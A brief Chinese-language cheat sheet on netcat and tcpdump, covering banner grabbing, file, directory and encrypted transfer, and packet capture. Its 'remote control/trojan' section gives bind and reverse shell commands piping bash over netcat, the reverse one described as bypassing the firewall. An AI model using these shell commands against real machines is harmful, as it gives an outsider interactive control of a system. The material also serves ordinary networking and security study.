netcat簡介 ----------- 網絡中的瑞士軍刀--體積小，功能強大 偵聽模式/傳輸模式 telnet連接(獲取banner信息) `nc -nv IP port //連接遠程主機并獲取banner` 傳輸文本信息(遠程電子取證信息收集) ~~~ 兩臺機器 A:nc -lp 666 > ps.txt B:ps aux | nc -nv 192.168.1.11 666 -q 1 ~~~ 傳輸文件/目錄 文件： ~~~ A:nc -lp 333 > xx.php (接收方) B:nc -nv IP 333 < test.php -q 1 ~~~ 或者 ~~~ A:nc -q 1 -l 333 < a.exe (發送方) B:nc -nv IP 333 > 123.exe ~~~ 目錄： ~~~ A:tar -cvf - mulu/ | nc -lp 333 -q 1 //打包傳輸 B:nc -nv IP 333 | tar -xvf - //接收解包 ~~~ 加密傳輸文件 ~~~ A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.exe (接收方) B:mcrypt --flush -Fbqd -a rijndael-256 -m ecb < 0.exe | nc -nv IP 333 -q 1 ~~~ 遠程控制/木馬 正向： ~~~ A:nc -lp 333 -c bash (服務端主動開bash) B:nc IP 333 (控制端) ~~~ 反向： ~~~ A:nc -lp 333 (控制端) B:nc IP 333 -c bash (繞過防火墻主動連接外部主機) ~~~ 注：Windows用戶把bash改成cmd ------------ TCPDUMP--抓包(Linux、Unix默認安裝) 抓包： 默認只抓68個字節 ~~~ tcpdump -i eth0 -s 0 -w file.pcap tcpdump -i eth0 port 22 ~~~ 讀取抓包文件 `tcpdump -r file.pcap`